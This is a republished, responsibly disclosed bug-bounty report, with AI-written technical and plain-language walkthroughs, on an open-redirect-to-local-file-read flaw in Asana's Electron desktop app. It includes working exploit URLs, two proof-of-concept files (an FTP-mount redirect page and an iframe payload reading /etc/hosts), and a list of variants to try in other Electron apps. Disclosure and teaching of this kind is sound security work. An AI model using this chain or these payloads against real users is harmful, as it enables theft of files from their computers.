Skip to content
Path traversal Disclosed report Intermediate

Critical Local File Read in Electron Desktop App

Renwa Follow

Originally disclosed on Bugcrowd

Bounty$6,200 Critical View original
  • Accepted in 26 hours
  • Fixed in 4 months
  • Disclosed after 4 months

Summary by Asana

Renwa found a vulnerability in our Asana Desktop app that allowed a malicious actor to read local machine files that the user running the Asana Desktop app has access to if redirected to a malicious URL. We fixed this vulnerability within hours of the report and deployed a new Asana Desktop release within the next few days with the patch.

We track Bugcrowd submissions internally but we didn't follow up with this submission and close it out until a few months after the fix. We've been working on closing that process gap to ensure that we quickly respond to all our security researchers.

Summary by Renwa

Open redirect to local file read

Report details

  • Submitted

    23 Apr 2022 23:00:28 UTC

  • Target Location

    Asana Desktop App

  • Target category

    Other

  • VRT

    Server-Side Injection > File Inclusion > Local

  • Priority

    P1

  • Bug URL

    Empty

  • Description

    Hey Asana team

    Intro While looking at Asana desktop app I found a critical vulnerability which allow an attacker to steal any file from victims computer just by visiting a link

    Electron Decompiling I downloaded the app from official website latest version and started to play around with it, I noticed its an Electron app and I decompiled it with asar to see the source code.

    Custom URI While login into the app and visiting some endpoints from the browser the app will redirect you to the desktop app using a custom URI called asanadesktop://, Let's look at the source code how this is used inside the app:

    e.prototype._handleCustomProtocolUrl = function(e) {
                    if (e.protocol === k + ":") {
                        var n = F(e.pathname),
                            t = n.split("/")
                        switch (this._windowManager.getMostRecentlyFocusedAsanaWindow().show(), t[0]) {
                            case "desktop_start_session":
                                var r = e.searchParams.get("external_auth_token"),
                                    a = e.searchParams.get("email")
                                if (null === r || null === a) {
                                    var o = null === r ? "Received null externalAuthToken from desktop_start_session protocol handler" : "Received null email from desktop_start_session protocol handler"
                                    return void c({ nameForGrouping: o, type: "exception", stack: (new Error).stack, userAgent: Q(), appVersion: K(), platform: v(), arch: b() })
                                }
                                return this._setSingleUseLoginCredentials({ email: a, externalAuthToken: r }), void this._windowManager.getMostRecentlyFocusedAsanaWindow().webContents.send("send-client-id-to-desktop-start-session")
                            case "app":
                                var i = new URL(t.slice(1).join("/") + e.search + e.hash, E())
                                this._windowManager.getMostRecentlyFocusedAsanaWindow().loadURL(i.href, { userAgent: Q() })
                                var s = Yr(i.href)
                                return void this._windowManager.logNonUserActionEvent({ action: "AppLinkRedirected", location: "DesktopApp", asanaAppUrl: i.href, linkedObject: s })
                        }
                    }
                }
    

    There is 2 cases desktop_start_session and app let's skip the start session one and focus on the app. Looking for places how it's used an example: asanadesktop:///app/0/0/1202167222171874/1202167280762920/f Inside the desktop app it will load this URL: https://app.asana.com/0/0/1202167222171874/1202167280762920/f So basically it's a simple redirect but yet very vulnerable. From the source code we see this code which construct the URL var i = new URL(t.slice(1).join("/") + e.search + e.hash, E()) It will get the path and removes first character and the webview will load that url using loadURL() function, this implantation is very buggy we can trick the webview to load arbitrary sites an example:

    https://app.asana.com/-/desktop_app_link?path=/https://example.com/

    Now we have successfully hijacked the webview also we have access to exposed IPC bridge communication with main process electronInjectedApi object which has many available APIs to control the app.

    Local Files Hijacking a webview for phishing is not a real bug so I went further for any potential attack vectors, Looking at the source code again I noticed there isn't any check on the protocol to load meaning we can load files from local system, here is an example of loading /etc/passwd on Mac: https://app.asana.com/-/desktop_app_link?path=/file:///etc/passwd We have now loaded a local file into the webview still not a big deal but Electron has a really bad feature which allows any file on the system read other files in any place, modern browsers when you load a local file the origin of the process is null and they can't access anything outside them but in Electron local files origin is file:// thus we can load any file from system and steal it if we download our malicious file into victims pc and load it.

    Loading our file Every modern browser uses auto download when downloading anything from online so for our exploit chain we will download pwn.html then load this url inside the webview file:///Users/Victim/Downloads/pwn.html but there is a tiny problem which is we need to know victims PC username. I have previously encountered this situation and I know some ways which we can download a file into victims computer with our desired location, there is also a great researchers on it, this and this. In Mac if you load an ftp:// URI it will open Finder app and connects you to the server then automatically mount all the files into /Volumes/example.com/files now we have a controlled path which we can load, In Windows we can use smb:// which I think doesn't require any user interaction and mount the server silently with a controlled path.

    POC time Here is the steps which will be used (Mac)

    • Host a malicious HTML file into your ftp server to steal contents of a file
    • Host a malicious page online, and redirect to ftp://username:[email protected]
    • Finder will be opened and mount the server to /Volumes/
    • Redirect the desktop app to our desired file asanadesktop:///app/file:///Volumes/attackerserver.com/public_html/pwn.html
    • The app will load the file and we can steal any files on the PC.

    POC (Mac) Click to open Finder and connect, this is one time process: https://1f.cx/dox.php

    Video POC:

    https://drive.google.com/file/d/1OH_7hsrcMlBcPqQHSfUqiqKaXR6L3VN3/view?usp=sharing

    POC Files dox.php

    <body>
    <br><br>
    <h1 style=color:green onclick=start()>
    Click Here and confirm the dialog boxes to connect
    </h1>
    <script>
    function start(){
    location='ftp://tinnier-regions:[email protected]';
    setTimeout(()=>{
    location='https://app.asana.com/-/desktop_app_link?path=/file:///Volumes/files.000webhost.com/public_html/pwn.html'
    },10000)
    }
    
    </script>
    

    pwn.html

    <br><BR><BR><BR>
    <h1>pwn<br>
        <iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
        <script type="text/javascript">
    function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}</script>
    

    Fix To fix this bug there must be a check when loading from the custom URI to only allow https scheme and only app.asana.com

    Thanks Renwa

The original report as published on Bugcrowd, by Asana. Images and videos are our own copies; raw HTML is shown as text. View it on Bugcrowd.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The target is the Asana Desktop app, an Electron application; the researcher downloaded it from Asana's official website. The feature at the centre of the report is the custom URI scheme asanadesktop://, which the app registers so that links on the web can hand control to the desktop client. While logged into the app and visiting some endpoints from the browser, the app is redirected to the desktop app using the custom URI asanadesktop://.

Asana's own summary describes the outcome: a malicious actor could read local machine files that the user running the Asana Desktop app has access to, if the user was redirected to a malicious URL. Renwa's summary is shorter: open redirect to local file read. The submission was rated P1.

Setup

The researcher downloaded the latest version of the app from the official website and decompiled it with asar to read the source. No account details, OS versions or app version numbers are given in the report. The proof of concept is described for Mac, with notes on how the same chain would work on Windows.

Finding it

Reading the decompiled source, Renwa looked at the handler for the custom protocol. The relevant function is:

JavaScript
e.prototype._handleCustomProtocolUrl = function(e) {
                if (e.protocol === k + ":") {
                    var n = F(e.pathname),
                        t = n.split("/")
                    switch (this._windowManager.getMostRecentlyFocusedAsanaWindow().show(), t[0]) {
                        case "desktop_start_session":
                            var r = e.searchParams.get("external_auth_token"),
                                a = e.searchParams.get("email")
                            if (null === r || null === a) {
                                var o = null === r ? "Received null externalAuthToken from desktop_start_session protocol handler" : "Received null email from desktop_start_session protocol handler"
                                return void c({ nameForGrouping: o, type: "exception", stack: (new Error).stack, userAgent: Q(), appVersion: K(), platform: v(), arch: b() })
                            }
                            return this._setSingleUseLoginCredentials({ email: a, externalAuthToken: r }), void this._windowManager.getMostRecentlyFocusedAsanaWindow().webContents.send("send-client-id-to-desktop-start-session")
                        case "app":
                            var i = new URL(t.slice(1).join("/") + e.search + e.hash, E())
                            this._windowManager.getMostRecentlyFocusedAsanaWindow().loadURL(i.href, { userAgent: Q() })
                            var s = Yr(i.href)
                            return void this._windowManager.logNonUserActionEvent({ action: "AppLinkRedirected", location: "DesktopApp", asanaAppUrl: i.href, linkedObject: s })
                    }
                }
            }

The handler switches on the first path segment. The desktop_start_session case is the login handoff and was not the focus. The app case builds a URL from the remaining path segments, the query string and the fragment, then passes it to loadURL() on the webview. A normal link looks like this:

Text
asanadesktop:///app/0/0/1202167222171874/1202167280762920/f

and the app loads:

Text
https://app.asana.com/0/0/1202167222171874/1202167280762920/f

So the scheme is meant to be a simple redirect into the app. The construction new URL(t.slice(1).join("/") + e.search + e.hash, E()) takes the path, drops its first character and joins the rest, appending the query and fragment, with a base URL. Nothing constrains the result to Asana's own origin, and the webview loads whatever comes out.

Exploitation

Step 1: hijack the webview

Because the path is concatenated into the URL without validation, a crafted path value on the desktop link endpoint makes the webview load an arbitrary site:

Text
https://app.asana.com/-/desktop_app_link?path=/https://example.com/

With the webview pointed at an attacker-controlled page, the page also has access to the exposed IPC bridge to the main process, the electronInjectedApi object, which the report says offers many APIs for controlling the app. Renwa notes that hijacking a webview for phishing is not a real bug, so this was only a stepping stone.

Step 2: load local files

Returning to the source, there is no check on the protocol of the URL being loaded, so local files can be loaded as well. Loading /etc/passwd on macOS looks like this:

Text
https://app.asana.com/-/desktop_app_link?path=/file:///etc/passwd

On its own, displaying a local file is not a big deal. The problem is Electron's handling of local file origins. In modern browsers a loaded local file has a null origin and cannot reach anything outside itself. In Electron, the report says, local files have the file:// origin, so a file loaded into the webview can read other files anywhere on the system. If the attacker can get a malicious file onto the victim's machine and load it, that file can read and exfiltrate anything the user can access.

Step 3: get the malicious file onto the machine

The chain needs a file on disk at a known path. Browsers auto-download files, but the download directory contains the victim's username, which the attacker does not know. Renwa points to prior work on writing files to attacker-chosen locations (this and this) and describes two OS-specific tricks:

  • On macOS, loading an ftp:// URI opens Finder, connects to the server and mounts its files under /Volumes/example.com/files, giving a controlled path.
  • On Windows, smb:// can be used; the report says it likely requires no user interaction and mounts the server silently at a controlled path.

Step 4: the proof of concept (macOS)

The steps in the report are:

  1. Host a malicious HTML file on an FTP server to steal the contents of a file.
  2. Host a malicious page online that redirects to ftp://username:[redacted].
  3. Finder opens and mounts the server under /Volumes/.
  4. Redirect the desktop app to the desired file with asanadesktop:///app/file:///Volumes/attackerserver.com/public_html/pwn.html.
  5. The app loads the file and any file on the PC can be stolen.

The entry point is a page that opens Finder and connects; the report describes this as a one-time process:

Text
https://1f.cx/dox.php

A video of the proof of concept is linked in the report at https://drive.google.com/file/d/[redacted]/view?usp=sharing.

The first file, dox.php, is the page the victim visits:

HTML
<body>
<br><br>
<h1 style=color:green onclick=start()>
Click Here and confirm the dialog boxes to connect
</h1>
<script>
function start(){
location='ftp://tinnier-regions:[redacted]';
setTimeout(()=>{
location='https://app.asana.com/-/desktop_app_link?path=/file:///Volumes/files.000webhost.com/public_html/pwn.html'
},10000)
}

</script>

A click on the heading calls start(), which navigates to the FTP URL so Finder mounts the server, then after ten seconds sends the browser to the desktop link endpoint with a path pointing at the mounted pwn.html. The credentials in the FTP URL are redacted here as [redacted].

The second file, pwn.html, is the payload that runs from the mounted volume:

HTML
<br><BR><BR><BR>
<h1>pwn<br>
    <iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
    <script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}</script>

The iframe loads /etc/hosts relative to the file:// origin, and when it loads, the script reads the frame's body text and shows it in an alert. That demonstrates the read.

Root cause

The app branch of _handleCustomProtocolUrl builds the URL to load from unvalidated input and hands it to loadURL() without restricting the scheme or host. There is no allowlist for https or for app.asana.com, so the webview can be pointed at any site and at local files. The second half of the bug is Electron's file:// origin behaviour: a local file loaded in the webview can read other local files, which turns the redirect into a file read once the attacker can place a file at a known path.

Impact

An attacker who can get a victim to visit a link can load attacker-controlled content in the app's webview, with access to the electronInjectedApi IPC bridge, and, by placing a malicious file at a known path, can read files the user running the app can access. The file read depends on getting a malicious file onto the machine at a known path; on macOS the report's route is an FTP mount under /Volumes/, and on Windows it suggests smb://, which it believes needs no user interaction. Asana also notes that the Bugcrowd submission was not followed up and closed until a few months after the fix, and that it has been working on closing that process gap.

Fix

Renwa's recommendation is a check when loading from the custom URI: only allow the https scheme and only app.asana.com. Asana reports that the vulnerability was fixed and a new desktop release shipped with the patch; the report does not show the patch itself.

Variants to test

  • Custom URI handlers in other Electron apps: send a path that is an absolute URL and see whether the webview loads an external site. A positive result is your page rendering inside the app with access to any exposed bridge object.
  • Scheme handling in the same handlers: try file://, and on Windows also smb:// and UNC-style paths, in the path parameter. A positive result is a local file or a remote share rendering in the webview.
  • Origin behaviour of loaded local files: load a local HTML file through the handler and have it read another local file via an iframe or fetch. A positive result is content from a file outside the loaded file's directory appearing in the page.
  • File placement without knowing the username: test ftp:// on macOS and smb:// on Windows from a link and check whether a volume or share is mounted at a predictable path. A positive result is a mounted directory whose path can be referenced by the handler.
  • The desktop_start_session branch: the report skips it, but the same handler reads external_auth_token and email from the query string, so it is worth checking how those values are validated and where they are sent.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Asana makes a desktop program you install on your computer, so you can use Asana without keeping a browser tab open. That program is built with a toolkit called Electron, which lets a company write a desktop app using the same building blocks as a website. A security researcher called Renwa downloaded the Asana desktop app, took it apart to read its code, and found a way to make it open things it should never open.

The short version: if an attacker could get you to click a link, the Asana app could be made to load a web page chosen by the attacker, and from there to load a file on your own computer. Because of how Electron treats files stored on your machine, that loaded file could then read other files on your computer, for example a list of hostnames, and send their contents back to the attacker. Asana's own summary says a malicious actor could read local machine files that the user running the app has access to, if the user was redirected to a malicious URL. Renwa's summary is four words: open redirect to local file read.

The report was rated P1 (the highest priority in the Bugcrowd platform's scale).

A few words you will meet constantly below, explained once here:

  • Electron: a framework for building desktop apps with web technology. The app is basically a small browser window (called a webview) plus some extra powers, such as reading files and talking to the operating system.
  • Webview: the embedded browser window inside the desktop app. Whatever page it is pointed at gets displayed inside the app.
  • Custom URI scheme: a made-up address prefix that belongs to one app, like mailto: opens your mail program. Asana's app registers asanadesktop://, so a link starting with that prefix opens the Asana desktop app instead of a web page.
  • Open redirect: a situation where a website or app takes a destination from the link and forwards you there without checking it. Attackers love it because the link starts on a trusted name and ends somewhere else.
  • Local file read: reading files that sit on the victim's own computer, such as documents or system files, rather than files on a server.

Setting up

Renwa downloaded the latest version of the app from Asana's official website and unpacked it. Electron apps ship their code in a packed archive, and a free tool called asar unpacks it so you can read the source code like any other program. Think of it as opening the box to see the wiring inside.

The report does not give the app version number, the operating system version, or any account details. The proof of concept is described for macOS (Apple's operating system), with notes on how the same chain would work on Windows.

Finding the problem

While reading the unpacked code, Renwa looked at the part that handles the asanadesktop:// links. Here is that function exactly as it appears in the report:

JavaScript
e.prototype._handleCustomProtocolUrl = function(e) {
                if (e.protocol === k + ":") {
                    var n = F(e.pathname),
                        t = n.split("/")
                    switch (this._windowManager.getMostRecentlyFocusedAsanaWindow().show(), t[0]) {
                        case "desktop_start_session":
                            var r = e.searchParams.get("external_auth_token"),
                                a = e.searchParams.get("email")
                            if (null === r || null === a) {
                                var o = null === r ? "Received null externalAuthToken from desktop_start_session protocol handler" : "Received null email from desktop_start_session protocol handler"
                                return void c({ nameForGrouping: o, type: "exception", stack: (new Error).stack, userAgent: Q(), appVersion: K(), platform: v(), arch: b() })
                            }
                            return this._setSingleUseLoginCredentials({ email: a, externalAuthToken: r }), void this._windowManager.getMostRecentlyFocusedAsanaWindow().webContents.send("send-client-id-to-desktop-start-session")
                        case "app":
                            var i = new URL(t.slice(1).join("/") + e.search + e.hash, E())
                            this._windowManager.getMostRecentlyFocusedAsanaWindow().loadURL(i.href, { userAgent: Q() })
                            var s = Yr(i.href)
                            return void this._windowManager.logNonUserActionEvent({ action: "AppLinkRedirected", location: "DesktopApp", asanaAppUrl: i.href, linkedObject: s })
                    }
                }
            }

Line by line, in plain words:

  1. e.prototype._handleCustomProtocolUrl = function(e) { defines a function that receives one thing, e, which is the incoming link (the address the user clicked).
  2. if (e.protocol === k + ":") { checks that the link uses the app's own prefix. k is a variable holding that prefix, so this is the asanadesktop: check.
  3. var n = F(e.pathname), t = n.split("/") takes the part of the link after the prefix and splits it on slashes into a list of pieces, stored in t.
  4. switch (... t[0]) { looks at the first piece and decides what kind of link it is. There are two kinds.
  5. case "desktop_start_session": is the login handoff. It reads two values from the link, external_auth_token and email, complains if either is missing, and otherwise passes them to _setSingleUseLoginCredentials. Renwa skipped this branch.
  6. case "app": is the interesting one. var i = new URL(t.slice(1).join("/") + e.search + e.hash, E()) builds a web address: it takes the remaining pieces, drops the first character, joins them back with slashes, adds the query string (e.search) and the fragment (e.hash), and resolves the result against a base address E().
  7. this._windowManager.getMostRecentlyFocusedAsanaWindow().loadURL(i.href, { userAgent: Q() }) then tells the app's webview to load that address.
  8. The last lines only record a log entry saying an app link was redirected.

A normal link looks like this:

Text
asanadesktop:///app/0/0/1202167222171874/1202167280762920/f

and the app loads:

Text
https://app.asana.com/0/0/1202167222171874/1202167280762920/f

So the scheme is meant to be a simple redirect into the app: a web page hands a task address to the desktop app, and the app shows that task. The problem is in step 6. The address is built from whatever the link contains, and nothing checks that the result still points at Asana. The base address E() only matters when the input is a relative address; if the input is a full address starting with https:// or file://, it wins. The webview then loads whatever came out.

Exploitation

Step 1: hijack the webview

Because the path is pasted into the address without validation, a crafted path value on Asana's desktop link endpoint makes the webview load any site:

Text
https://app.asana.com/-/desktop_app_link?path=/https://example.com/

Here path is a parameter in the link, the part after the question mark that carries a value. The value is /https://example.com/, and the app turns it into a full address to example.com and loads it in its own window. The page now runs inside the Asana app, not in a normal browser tab.

That matters because the app exposes a bridge between the web page and the app's own powers, an object called electronInjectedApi. A bridge like this is how a web page asks the desktop app to do things a browser cannot do, such as interact with the operating system. The report says this object offers many APIs (programming interfaces, meaning ready-made functions the page can call) for controlling the app. Renwa notes that hijacking a webview just to show a fake login page (phishing) is not a real bug, so this was only a stepping stone.

Step 2: load local files

Going back to the source, there is no check on the kind of address being loaded, so files on the computer can be loaded too. Loading /etc/passwd on macOS looks like this:

Text
https://app.asana.com/-/desktop_app_link?path=/file:///etc/passwd

/etc/passwd is a standard system file on Unix-like systems that lists user accounts. The file:// prefix means "a file on this computer" rather than "a page on the internet".

On its own, displaying a local file is not a big deal. The real problem is how Electron treats the origin of local files. Origin is the label a browser uses to decide what a page is allowed to touch: pages from one origin cannot read data from another. In modern browsers, a local file that you open gets the origin null, which means it can reach nothing outside itself. In Electron, the report says, local files get the origin file://, and every local file shares that origin. So a file loaded into the webview can read other files anywhere on the system. If the attacker can get a malicious file onto the victim's machine and load it, that file can read and send out anything the user can access.

Step 3: get the malicious file onto the machine

To make this work, the attacker needs a file on disk at a path they know. Browsers download files automatically, but the download folder contains the victim's username, which the attacker does not know. Renwa points to earlier public work on writing files to a location the attacker chooses (this and this) and describes two operating-system tricks:

  • On macOS, opening an ftp:// address launches Finder (the file manager), connects to the server and mounts its files under /Volumes/example.com/files. Mounting means making a remote folder appear as if it were a local disk. That gives a path the attacker can predict.
  • On Windows, smb:// can be used. SMB is the file-sharing protocol Windows uses for network folders. The report says it likely needs no user interaction and mounts the server silently at a path the attacker controls.

Step 4: the proof of concept (macOS)

The steps in the report are:

  1. Host a malicious HTML file on an FTP server to steal the contents of a file.
  2. Host a malicious page online that redirects to ftp://username:[redacted].
  3. Finder opens and mounts the server under /Volumes/.
  4. Redirect the desktop app to the desired file with asanadesktop:///app/file:///Volumes/attackerserver.com/public_html/pwn.html.
  5. The app loads the file and any file on the PC can be stolen.

The entry point is a page that opens Finder and connects. The report describes this as a one-time process:

Text
https://1f.cx/dox.php

A video of the proof of concept is linked in the report at https://drive.google.com/file/d/[redacted]/view?usp=sharing.

The first file, dox.php, is the page the victim visits:

HTML
<body>
<br><br>
<h1 style=color:green onclick=start()>
Click Here and confirm the dialog boxes to connect
</h1>
<script>
function start(){
location='ftp://tinnier-regions:[redacted]';
setTimeout(()=>{
location='https://app.asana.com/-/desktop_app_link?path=/file:///Volumes/files.000webhost.com/public_html/pwn.html'
},10000)
}

</script>

Line by line:

  1. <body> starts the visible page.
  2. The <h1> heading is shown in green and carries onclick=start(), which means clicking it runs the function named start.
  3. function start(){ defines that function.
  4. location='ftp://tinnier-regions:[redacted]'; sends the browser to an FTP address. The part before the @ is a username and password; those credentials are redacted here as [redacted]. This is what makes Finder open and mount the server.
  5. setTimeout(()=>{ ... },10000) waits ten seconds, giving the mount time to finish.
  6. Inside the timeout, location='https://app.asana.com/-/desktop_app_link?path=/file:///Volumes/files.000webhost.com/public_html/pwn.html' sends the browser to Asana's desktop link endpoint, with a path pointing at the pwn.html file on the mounted volume.
  7. The closing braces and tags end the function and the page.

The second file, pwn.html, is the payload that runs from the mounted volume:

HTML
<br><BR><BR><BR>
<h1>pwn<br>
    <iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
    <script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}</script>

Line by line:

  1. The <br> tags just add blank lines.
  2. <h1>pwn<br> shows the word pwn as a heading.
  3. <iframe onload=j() src="/etc/hosts"> creates an iframe, a small window inside the page, pointed at /etc/hosts. /etc/hosts is a local system file that maps hostnames to addresses. onload=j() means: when the iframe finishes loading, run the function j.
  4. function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)} reads the text of the first frame (frames[0].document.body.innerText) and shows it in a pop-up alert. Because the payload itself was loaded from a file:// address, it is allowed to read the other local file.

That demonstrates the read.

Why it worked

The app branch of _handleCustomProtocolUrl builds the address to load from input it never checks, and hands it to loadURL() without limiting the scheme or the host. There is no allowlist (a list of permitted values) for https or for app.asana.com, so the webview can be pointed at any site and at local files. The second half of the bug is Electron's file:// origin behaviour: a local file loaded in the webview can read other local files, which turns the redirect into a file read once the attacker can place a file at a known path.

What an attacker could do

An attacker who can get a victim to visit a link can load attacker-controlled content in the app's webview, with access to the electronInjectedApi bridge, and, by placing a malicious file at a known path, can read files the user running the app can access. The file read depends on getting a malicious file onto the machine at a known path. On macOS the report's route is an FTP mount under /Volumes/, and on Windows it suggests smb://, which it believes needs no user interaction.

Asana also notes that the Bugcrowd submission was not followed up and closed until a few months after the fix, and that it has been working on closing that process gap.

The fix

Renwa's recommendation is a check when loading from the custom URI: only allow the https scheme and only app.asana.com. Asana reports that the vulnerability was fixed and a new desktop release shipped with the patch; the report does not show the patch itself.

Things worth testing elsewhere

  • Custom URI handlers in other Electron apps: send a path that is a full address and see whether the webview loads an external site. A positive result is your page rendering inside the app with access to any exposed bridge object.
  • Scheme handling in the same handlers: try file://, and on Windows also smb:// and UNC-style paths (network paths written with two leading backslashes), in the path parameter. A positive result is a local file or a remote share rendering in the webview.
  • Origin behaviour of loaded local files: load a local HTML file through the handler and have it read another local file through an iframe or fetch. A positive result is content from a file outside the loaded file's directory appearing in the page.
  • File placement without knowing the username: test ftp:// on macOS and smb:// on Windows from a link and check whether a volume or share is mounted at a predictable path. A positive result is a mounted directory whose path can be referenced by the handler.
  • The desktop_start_session branch: the report skips it, but the same handler reads external_auth_token and email from the query string, so it is worth checking how those values are validated and where they are sent.

Glossary

  • API: a set of ready-made functions one program offers to another so they can talk to each other.
  • asar: a tool that packs and unpacks the code archive used by Electron apps.
  • Base URL: the address used to fill in the missing parts of a relative address.
  • Bounty: money paid by a company to a researcher who reports a security bug.
  • Bridge (IPC): a channel that lets a web page inside a desktop app ask the app's main process to do things.
  • Bugcrowd: a platform where companies receive security reports from researchers.
  • Custom URI scheme: a made-up address prefix, such as asanadesktop://, that opens a particular app.
  • Endpoint: a specific address on a website that performs a particular action.
  • Exfiltrate: to send stolen data out to an attacker.
  • Finder: the file manager on macOS.
  • FTP: an old protocol for transferring files between computers.
  • Fragment: the part of a web address after #.
  • Host: the domain name part of a web address, such as app.asana.com.
  • HTML: the language web pages are written in.
  • Iframe: a small window inside a page that shows another page or file.
  • IPC: inter-process communication, the way separate parts of a program exchange messages.
  • Local file read: reading files stored on the victim's own computer.
  • Mount: making a remote folder appear as if it were a local disk.
  • Open redirect: forwarding a visitor to a destination taken from the link without checking it.
  • Origin: the label a browser uses to decide which pages may read each other's data.
  • P1: the highest priority level in the Bugcrowd scale.
  • Parameter: a named value in a link, after the question mark.
  • Phishing: tricking someone into entering details on a fake page.
  • Query string: the part of a web address after ?, carrying parameters.
  • SMB: the file-sharing protocol Windows uses for network folders.
  • UNC path: a network path on Windows written with two leading backslashes.
  • VRT: Bugcrowd's Vulnerability Rating Taxonomy, a standard list of bug types.
  • Webview: the embedded browser window inside a desktop app.
  • XSS: cross-site scripting, running your own script inside someone else's page; the payload here uses an iframe rather than classic XSS, but the idea of reading another page's content is related.

More by Renwa

View all

15 more disclosed reports, best first.

More from Asana

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.